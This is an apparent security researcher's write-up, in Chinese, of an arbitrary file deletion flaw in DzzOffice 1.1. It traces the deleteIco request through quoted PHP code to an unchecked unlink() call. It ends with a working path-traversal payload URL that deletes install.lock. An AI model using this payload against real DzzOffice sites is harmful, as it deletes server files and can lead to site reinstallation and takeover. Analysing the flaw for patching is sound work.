dzzoffice 任意文件删除漏洞分析
dzzofiice 任意文件删除漏洞
\upload\dzz\system\dzzcp.php第199行
elseif($do=='deleteIco'){
$arr=array();
$names=array();
$i=0;
$icoids=$_GET['icoids'];
$bz=trim($_GET['bz']);
foreach($icoids as $icoid){
$return=IO::Delete($icoid);
if(!$return['error']){
//处理数据
$arr['sucessicoids'][$return['icoid']]=$return['icoid'];
$arr['msg'][$return['icoid']]='success';
$i++;
}else{
$arr['msg'][$return['icoid']]=$return['error'];
}
}
echo json_encode_gbk($arr);
exit();
首先来看看$do是怎么来的
$do = empty($_GET['do'])?'':trim($_GET['do']);
只是经过了去空格的处理直接GET传入
$icoids=$_GET['icoids'];
$bz=trim($_GET['bz']);
这个条件中有两个变量都是直接GET传入没有什么限制
$return=IO::Delete($icoid);
这里对$icoid进行了IO类中的Delete方法处理跟进看看
function Delete($path,$realdelete=false){
if($io=self::initIO($path)) {
return $io->Delete($path,$realdelete);
}
else return false;
}
在class_core.php文件中
class IO extends dzz_io {}
那么跟进到dzz_io类中看看
function Delete($path,$realdelete=false){
if($io=self::initIO($path)) {
return $io->Delete($path,$realdelete);
}
else return false;
}
调用了initIO方法跟进看看(有过之前分析任意文件下载的经历这次好了很多)
protected function initIO($path){
$bzarr=explode(':',$path);
$allowbz=C::t('connect')->fetch_all_bz();//array('baiduPCS','ALIOSS','dzz','JSS');
if(strpos($path,'dzz::')!==false){
$classname= 'io_dzz';
}elseif(strpos($path,'attach::')!==false){
$classname= 'io_dzz';
}elseif(is_numeric($bzarr[0])){
$classname= 'io_dzz';
}elseif(in_array($bzarr[0],$allowbz)){
$classname= 'io_'.$bzarr[0];
}else{
return false;
}
return new $classname($path);
}
这个方法就是对$io变量进行赋值的,反正最后的值都是$io=io_dzz
所以就变成了io_dzz->Delete
就是io_dzz类中的Delete方法
public function Delete($icoid,$force=false){
global $_G;
if(strpos($icoid,'dzz::')===0){
@unlink($_G['setting']['attachdir'].preg_replace('/^dzz::/i','',$icoid));
return true;
}elseif(strpos($icoid,'attach::')===0){
return C::t('attachment')->delete_by_aid(intval(str_replace('attach::','',$icoid)));
}else{
try{
if(!$icoarr= C::t('icos')->fetch($icoid)){
return array('icoid'=>$icoid,'error'=>'文件已经不存在');
}
if($force || $icoarr['isdelete']){
if(perm_check::checkperm('realdelete',$icoarr)){
C::t('icos')->delete_by_icoid($icoid,true);
}else{
return array('icoid'=>$icoarr['icoid'],'error'=>lang('message','no_privilege'));
}
}else{
if(perm_check::checkperm('delete',$icoarr)){
C::t('icos')->update($icoid,array('isdelete'=>1,'deldateline'=>TIMESTAMP));
if($icoarr['type']=='folder') C::t('folder')->update($icoarr['oid'],array('isdelete'=>1,'deldateline'=>TIMESTAMP));
}else{
return array('icoid'=>$icoarr['icoid'],'error'=>lang('message','no_privilege'));
}
}
return array('icoid'=>$icoarr['icoid'],'name'=>$icoarr['name']);
}catch(Exception $e){
return array('error'=>$e->getMessage());
}
}
}
在文件io_dzz的382到412行
下面的我都不想看了,$_G是啥我也不想管了
if(strpos($icoid,'dzz::')===0){
@unlink($_G['setting']['attachdir'].preg_replace('/^dzz::/i','',$icoid));
return true;
}
就这样直接删了
$icoid中出现了dzz::就行了直接进行文件删除
pyload=http://127.0.0.1/dzzoffice1.1/dzzoffice1.1/index.php?mod=system&op=dzzcp&do=deleteIco&icoids[]=dzz::/../install.lock